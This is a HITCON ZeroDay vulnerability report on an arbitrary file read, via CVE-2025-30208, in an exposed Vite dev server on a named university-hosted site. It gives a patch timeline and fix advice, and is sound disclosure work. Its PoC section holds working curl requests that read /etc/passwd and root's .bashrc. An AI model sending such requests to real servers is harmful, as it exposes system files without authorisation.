台灣工業與應用數學會 Vite 任意檔案讀取漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01167
  •  發信 Vendor: 台灣工業與應用數學會
  • Title: 台灣工業與應用數學會 Vite 任意檔案讀取漏洞
  • Introduction: Vite 任意檔案讀取漏洞

處理狀態

目前狀態

公開
Last Update : 2025/09/28
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/09/06 22:00:13 : 新提交 (由 anonymous 更新此狀態)
  • 2025/09/07 18:17:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:13:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:13:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/18 18:13:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/20 12:16:33 : 已修補 (由 組織帳號 更新此狀態)
  • 2025/09/28 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01167
  • 通報者:xcultivation (anonymous)
  • 風險:中
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://finance.math.ncu.edu.tw

敘述

網址: https://finance.math.ncu.edu.tw

此網站受到 CVE-2025-30208 影響, 可讀取系統任意檔案

PoC

curl "https://finance.math.ncu.edu.tw/@fs/etc/passwd?import&raw??"

圖片

root 使用者的檔案也可以讀取

curl "https://finance.math.ncu.edu.tw/@fs/root/.bashrc?import&raw??"

圖片

修補建議

1. 切勿將 Vite 的 dev server 暴露在公網。
2. 將 Vite 升級到最新修補版本。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;